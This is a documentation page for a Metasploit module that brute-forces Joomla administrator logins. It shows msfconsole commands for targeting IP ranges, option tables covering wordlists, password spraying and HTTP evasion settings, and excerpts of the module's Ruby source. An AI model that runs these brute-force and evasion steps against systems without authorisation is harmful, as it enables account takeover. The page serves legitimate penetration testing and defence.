Joomla Bruteforce Login Utility - Metasploit
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Module Overview
Name: Joomla Bruteforce Login Utility
Module: auxiliary/scanner/http/joomla_bruteforce_login
Source code: modules/auxiliary/scanner/http/joomla_bruteforce_login.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-1999-0502
This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/joomla_bruteforce_login
msf auxiliary(joomla_bruteforce_login) > show options
... show and set options ...
msf auxiliary(joomla_bruteforce_login) > set RHOSTS ip-range
msf auxiliary(joomla_bruteforce_login) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(joomla_bruteforce_login) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(joomla_bruteforce_login) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(joomla_bruteforce_login) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the scanner/http/joomla_bruteforce_login auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/joomla_bruteforce_login
msf6 auxiliary(scanner/http/joomla_bruteforce_login) > show info
Name: Joomla Bruteforce Login Utility
Module: auxiliary/scanner/http/joomla_bruteforce_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
luisco100 <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
AUTH_URI /administrator/index.php yes The URI to authenticate against
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
FORM_URI /administrator yes The FORM URI to authenticate against
PASSWORD no A specific password to authenticate with
PASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/http_default_pass.txt no File containing passwords, one per line
PASS_VARIABLE passwd yes The name of the variable for the password field
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/http_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/http_default_users.txt no File containing users, one per line
USER_VARIABLE username yes The name of the variable for the user field
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
WORD_ERROR mod-login-username yes The word of message for detect that login fail
Description:
This module attempts to authenticate to Joomla 2.5. or 3.0 through
bruteforce attacks
References:
https://nvd.nist.gov/vuln/detail/CVE-1999-0502
Module Options
This is a complete list of options available in the scanner/http/joomla_bruteforce_login auxiliary module:
msf6 auxiliary(scanner/http/joomla_bruteforce_login) > show options
Module options (auxiliary/scanner/http/joomla_bruteforce_login):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTH_URI /administrator/index.php yes The URI to authenticate against
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
FORM_URI /administrator yes The FORM URI to authenticate against
PASSWORD no A specific password to authenticate with
PASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/http_default_pass.txt no File containing passwords, one per line
PASS_VARIABLE passwd yes The name of the variable for the password field
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/http_default_userpass.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/http_default_users.txt no File containing users, one per line
USER_VARIABLE username yes The name of the variable for the user field
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
WORD_ERROR mod-login-username yes The word of message for detect that login fail
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/joomla_bruteforce_login auxiliary module:
msf6 auxiliary(scanner/http/joomla_bruteforce_login) > show advanced
Module advanced options (auxiliary/scanner/http/joomla_bruteforce_login):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22
is different from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be use
d.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
PASSWORD_SPRAY false yes Reverse the credential pairing order. For each password, attempt every possible user.
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/joomla_bruteforce_login module can do:
msf6 auxiliary(scanner/http/joomla_bruteforce_login) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/joomla_bruteforce_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/joomla_bruteforce_login) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
- The word of message for detect that login fail
- <RHOST>:<RPORT> - No URI found that asks for authentication
- <TARGET_URL> - Failed to login as '<USER>'
- <TARGET_URL> - Failed to find Joomla Login Response
- <TARGET_URL> - Failed to find Joomla Login Form
- <TARGET_URL> - Failed to find Joomla Login Cookies
- <TARGET_URL> - Failed to connect to the web server
- WORD_ERROR
- <TARGET_URL> - Last chance to find a login form...
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The word of message for detect that login fail
Here is a relevant code snippet related to the "The word of message for detect that login fail" error message:
31: File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')]),
32: OptString.new('AUTH_URI', [true, 'The URI to authenticate against', '/administrator/index.php']),
33: OptString.new('FORM_URI', [true, 'The FORM URI to authenticate against' , '/administrator']),
34: OptString.new('USER_VARIABLE', [true, 'The name of the variable for the user field', 'username']),
35: OptString.new('PASS_VARIABLE', [true, 'The name of the variable for the password field' , 'passwd']),
36: OptString.new('WORD_ERROR', [true, 'The word of message for detect that login fail', 'mod-login-username'])
37: ])
38:
39: register_autofilter_ports([80, 443])
40: end
41:
<RHOST>:<RPORT> - No URI found that asks for authentication
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - No URI found that asks for authentication" error message:
92: def run_host(ip)
93: vprint_status("#{rhost}:#{rport} - Searching Joomla authentication URI...")
94: @uri = find_auth_uri
95:
96: unless @uri
97: vprint_error("#{rhost}:#{rport} - No URI found that asks for authentication")
98: return
99: end
100:
101: @uri = "/#{@uri}" if @uri[0, 1] != '/'
102:
<TARGET_URL> - Failed to login as '<USER>'
Here is a relevant code snippet related to the "<TARGET_URL> - Failed to login as '<USER>'" error message:
143: print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
144: report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect)
145: return :abort if datastore['STOP_ON_SUCCESS']
146: return :next_user
147: else
148: vprint_error("#{target_url} - Failed to login as '#{user}'")
149: return
150: end
151: end
152:
153: def do_web_login(user, pass)
<TARGET_URL> - Failed to find Joomla Login Response
Here is a relevant code snippet related to the "<TARGET_URL> - Failed to find Joomla Login Response" error message:
158:
159: vprint_status("#{target_url} - Searching Joomla Login Response...")
160: res = login_response
161:
162: unless res && res.code = 200 && !res.get_cookies.blank?
163: vprint_error("#{target_url} - Failed to find Joomla Login Response")
164: return nil
165: end
166:
167: vprint_status("#{target_url} - Searching Joomla Login Form...")
168: hidden_value = get_login_hidden(res)
<TARGET_URL> - Failed to find Joomla Login Form
Here is a relevant code snippet related to the "<TARGET_URL> - Failed to find Joomla Login Form" error message:
165: end
166:
167: vprint_status("#{target_url} - Searching Joomla Login Form...")
168: hidden_value = get_login_hidden(res)
169: if hidden_value.nil?
170: vprint_error("#{target_url} - Failed to find Joomla Login Form")
171: return nil
172: end
173:
174: vprint_status("#{target_url} - Searching Joomla Login Cookies...")
175: cookie = get_login_cookie(res)
<TARGET_URL> - Failed to find Joomla Login Cookies
Here is a relevant code snippet related to the "<TARGET_URL> - Failed to find Joomla Login Cookies" error message:
172: end
173:
174: vprint_status("#{target_url} - Searching Joomla Login Cookies...")
175: cookie = get_login_cookie(res)
176: if cookie.blank?
177: vprint_error("#{target_url} - Failed to find Joomla Login Cookies")
178: return nil
179: end
180:
181: vprint_status("#{target_url} - Login with cookie ( #{cookie} ) and Hidden ( #{hidden_value}=1 )")
182: res = send_request_login(
<TARGET_URL> - Failed to connect to the web server
Here is a relevant code snippet related to the "<TARGET_URL> - Failed to connect to the web server" error message:
203: end
204: end
205:
206: return res
207: rescue ::Rex::ConnectionError
208: vprint_error("#{target_url} - Failed to connect to the web server")
209: return nil
210: end
211:
212: def send_request_login(opts = {})
213: res = send_request_cgi(
WORD_ERROR
Here is a relevant code snippet related to the "WORD_ERROR" error message:
235: def determine_result(response)
236: return :abort unless response.kind_of?(Rex::Proto::Http::Response)
237: return :abort unless response.code
238:
239: if [200, 301, 302].include?(response.code)
240: if response.to_s.include?(datastore['WORD_ERROR'])
241: return :fail
242: else
243: return :success
244: end
245: end
<TARGET_URL> - Last chance to find a login form...
Here is a relevant code snippet related to the "<TARGET_URL> - Last chance to find a login form..." error message:
272: vprint_status("#{target_url} - Testing Form Joomla 3.0 Form...")
273: form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
274: end
275:
276: if form.length == 1 # is not Joomla 3
277: vprint_error("#{target_url} - Last chance to find a login form...")
278: form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
279: end
280:
281: begin
282: input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
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Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5768 Merged Pull Request: Update modules to use metasploit-credential instead of report_auth_info
- #5540 Merged Pull Request: Using the new cred API for multiple auxiliary modules
- #3532 Merged Pull Request: Add Bruteforce Joomla
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/telnet/brocade_enable_login
- auxiliary/scanner/db2/db2_auth
- auxiliary/scanner/http/dell_idrac
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/http/http_login
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/nntp/nntp_login
- auxiliary/scanner/oracle/oracle_login
- auxiliary/scanner/pcanywhere/pcanywhere_login
- auxiliary/scanner/postgres/postgres_login
- auxiliary/scanner/rservices/rexec_login
- auxiliary/scanner/rservices/rlogin_login
- auxiliary/scanner/rservices/rsh_login
- exploit/multi/ssh/sshexec
- auxiliary/scanner/ssh/ssh_login
- auxiliary/scanner/telnet/telnet_login
- auxiliary/scanner/http/tomcat_mgr_login
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/winrm/winrm_login
- auxiliary/scanner/http/wordpress_xmlrpc_login
- auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner
- auxiliary/scanner/http/joomla_gallerywd_sqli_scanner
- auxiliary/scanner/http/joomla_pages
- auxiliary/scanner/http/joomla_plugins
- auxiliary/scanner/http/joomla_version
- auxiliary/admin/http/joomla_registration_privesc
- auxiliary/gather/joomla_com_realestatemanager_sqli
- auxiliary/gather/joomla_contenthistory_sqli
- auxiliary/gather/joomla_weblinks_sqli
- exploit/dialup/multi/login/manyargs
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- Unpassworded 'demos' Account
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- Unpassworded 'sync' Account
Authors
luisco100[at]gmail.com
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
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